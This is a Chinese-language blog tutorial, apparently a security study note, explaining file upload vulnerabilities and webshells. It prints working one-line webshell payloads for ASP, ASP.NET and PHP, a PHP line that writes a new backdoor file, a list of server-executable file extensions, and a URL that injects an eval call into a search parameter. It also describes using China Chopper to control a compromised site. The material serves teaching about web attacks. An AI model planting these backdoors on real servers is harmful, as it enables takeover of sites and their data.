文件上傳

文件上傳漏洞


漏洞原理

1.文件上傳是Web 應用的必備功能之一,比如上傳頭像顯示個性化、上傳附件共享文件、上傳腳本更新網站等。
2.如果服務器配置不當或者沒有進行足夠的過濾,Web 用戶就可以上傳任意文件,包括惡意腳本文件、exe 程序等,這就造成了文件上傳漏洞。


漏洞成因

1.服務器配置不當會導致任意文件上傳;
2.Web 應用開放了文件上傳功能,並且對上傳的文件沒有進行足夠的限制;
3.程序開發部署時候,沒有考慮到系統特性和驗證和過濾不嚴格而導致限制被繞過,上傳任意文件。


漏洞危害

上傳漏洞最直接的威脅就是上傳任意文件,包括惡意腳本、程序等。 如果Web
服務器所保存上傳文件的可寫目錄具有執行權限,那麼就可以直接上傳後門文件,導致網站淪陷。
如果攻擊者通過其他漏洞進行提權操作,拿到系統管理權限,那麼直接導致服務器淪陷。
同服務器下的其他網站無一倖免,均會被攻擊者控制。
通過上傳漏洞獲得的網站後門,就WebShell。


WebShell

在計算機科學中,Shell 俗稱殼(用來區別於“核”),是指“爲使用者提供操作界面”的軟件(命令解釋器)。

類似於windows 系統給的cmd.exe 或者linux 下bash 等,雖然這些系統上的命令解釋器不止一種。

WebShell 是一個網站的後門,也是一個命令解釋器,不過是以Web 方式(HTTP 協議)通信(傳遞命令消息),繼承了Web
用戶的權限。

***WebShell本質上是在服務器端可運行的腳本文件,後綴名爲.php/.asp/.aspx/.jsp*等,
也就是說WebShell 接收來自於Web 用戶的命令,然後再服務器端執行。***

大馬

WebShell 也可以是大馬,也是網站木馬。有一類WebShell 之所以叫大馬,是因爲與小馬(一句話木馬)區分開,並且代碼比較大,但是功能比較豐富。同樣,大馬有很多種腳本格式,其功能基本相同。每個團隊都有自己的定製大馬。以下是一個簡單的例子。輸入密碼,密碼一般直接寫在木馬文件中。

在大馬中我們可以進行文件管理,執行系統命令等,還有一些其他定製功能。這是asp 的大馬。

小馬

**小馬就是一句話木馬,**因爲其代碼量比較小,就是一句簡單的代碼。以下是各個腳本的一句話。

ASP:
<%eval request("cmd")%>

ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>

PHP:
<?php @eval($_REQUEST['cmd']);?>
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

    eval($_POST[cmd])

可以執行腳本後綴名
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa
.cer
.jsp .jspx

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

一句話木馬短小精悍,功能強大,但是需要配合中國菜刀或者中國蟻劍客戶端使用,中國菜刀是一句話木馬的管理器,也是命令操作接口。

中國菜刀在連接一句話木馬的時候需要填寫密碼(實際上就是變量名)。例如,我們上傳一個php 的一句話木馬,密碼就是[cmd]。


中國菜刀與一句話木馬配合實現了三大基本功能,如下。

文件管理
在中國菜刀頁面繼承Web 用戶權限可以實現文件管理,包括文件查看、上傳、下載、修改、刪除甚至運行exe 程序等。

虛擬終端
在中國菜刀下可以獲得類似於cmd 和bash 的命令行接口,可以執行相關命令。

數據庫管理
我們可以使用中國菜刀進行數據庫管理,此時需要知道連接數據庫的賬密。以MYSQL 爲例子,填寫配置,如下。

MYSQL //數據庫類型 localhost //數據庫地址
root //數據庫的用戶

//數據庫的密碼,密碼爲空就不寫
utf8 //編碼
此時,我們就可以執行SQL 語句,管理數據庫了。

發佈了261 篇原創文章 · 獲贊 50 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章